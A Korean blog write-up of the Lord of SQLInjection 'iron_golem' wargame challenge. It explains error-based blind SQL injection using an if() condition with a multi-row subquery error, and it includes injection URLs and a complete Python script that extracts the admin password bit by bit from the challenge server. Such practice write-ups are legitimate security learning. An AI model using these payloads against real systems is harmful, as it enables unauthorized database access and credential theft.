2025. 4. 28. 12:48ㆍHacking/WebHacking Wargame Writeup
- 문제 해결 keypoint
-> 웹 요청에 대한 응답 시간의 차이를 이용해 pw를 찾아야 함
-> 해당 방법에 사용되는 sleep과 benchmark 함수가 필터링 목록에 있기 때문에 사용 불가.
-> 쿼리문에 에러가 발생할 경우 에러를 출력해주고 exit 발생 → 에러의 발생 여부만 파악 가능
=> 에러가 발생하지 않으면 참이고, 발생하면 거짓이라고 판별할 수 있도록 쿼리문을 짜면 pw에 대한 정보를 파악 가능
-> 쿼리문에 조건문이 포함되어야 하는데, MySQL에서는 if문을 사용
-> MSSQL은 CASE문을 사용
#따라야 하는 if문의 형식
if(조건, 참일 때의 결과, 거짓일 때의 결과)
거짓일 때의 결과로 에러를 발생시키는 서브 쿼리문을 삽입함
=> (select 1 union select 2)라는 서브 쿼리문을 넣는다.
Subquery returns more than 1 row
-> 단독으로 사용되면 정상 코드
-> if문 내에서 서브쿼리로 작성되는 경우 에러 발생
-> 원인 : id 칼럼의 한 row에 2개의 row를 삽입하려고 해서
select 1 union select 2
-> 서브쿼리로 생성된 2개의 row는 id 칼럼 하나의 row에 삽입될 수 없기 때문에 에러 문구가 출력된다.
Solution
-> pw의 길이를 찾는 쿼리를 작성
[도메인 주소]?pw=' or id='admin' and if(length(pw)=1,1,(select 1 union select 2))%23
-> 서브 쿼리의 pw 길이가 일치하지 않을 때
-> 1~32까지 끼워맞추기식으로 시도해서 서브쿼리의 pw 길이가 32라는 것을 알아냄
=> length(pw)가 32
substr(lpad(bin(ord(substr(pw, i, 1))), bit_length, 0), j, 1) = 1
=> pw의 각 글자(i)를 substr 함수로 추출한 다음, 추출한 글자의 aascii 코드 값(ord)을 2진수(bin)로 변환한다.
-> lpad 함수는 변환된 2진수의 값을 16bits로 맞춰주기 위한 패딩 함수
-> 변환된 2진수가 5bit라면, 맨 왼쪽부터 나머지 11bit를 0으로 채워준다.
변환된 2진수의 각 자리를 substr 함수로 또 추출해 1인지 0인지 각 비트마다 비교해서 pw의 각 글자의 이진수값을 알아낸다.
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
headers = {'Cookie':'PHPSESSID=본인의 세션 아이디'}
URL = "https://los.rubiya.kr/chall/iron_golem_beb244fe41dd33998ef7bb4211c56c75.php?"
pw_length = 32
bit_length = 16
pw = ''
print("\n=== Find Password ===\n")
for i in range(1, pw_length+1):
bit = ''
for j in range(1, bit_length+1):
payload = "pw=' or id='admin' and if(substr(lpad(bin(ord(substr(pw,{},1))),{},0),{},1)=1,1,(select 1 union select 2))%23".format(i, bit_length, j)
res = requests.get(url=URL+payload, headers=headers, verify=False)
if 'Subquery' in res.text:
# 에러 발생 => bit == 0
bit += '0'
else:
# True -> bit == 1
bit += '1'
pw += chr(int(bit, 2))
print("pw (count %02d): %s (bit: %s, hex: %s)" % (i, chr(int(bit, 2)), bit, hex(int(bit, 2))))
print('\n>>> Final Password: %s' % pw)
Python 3 버전으로 작성한 코드
-> VScode로 돌려본 결과, pw는 06b5a6c16e8830475f983cc3a825ee9a
[도메인 주소]?pw=06b5a6c16e8830475f983cc3a825ee9a
'Hacking > WebHacking Wargame Writeup' 카테고리의 다른 글
[WriteUp] / [Lord Of SQLInjection] hell_fire (0) | 2025.04.28 |
---|---|
[WriteUp]/[Lord Of Sqlinjection] dark_eyes (0) | 2025.04.28 |
[WriteUp]/[DreamHack] baby-ai (0) | 2025.04.24 |
[Writeup] / [DreamHack] Movie time table (0) | 2025.04.11 |
[WriteUp] / [Dreamhack] pathtraversal (0) | 2025.03.31 |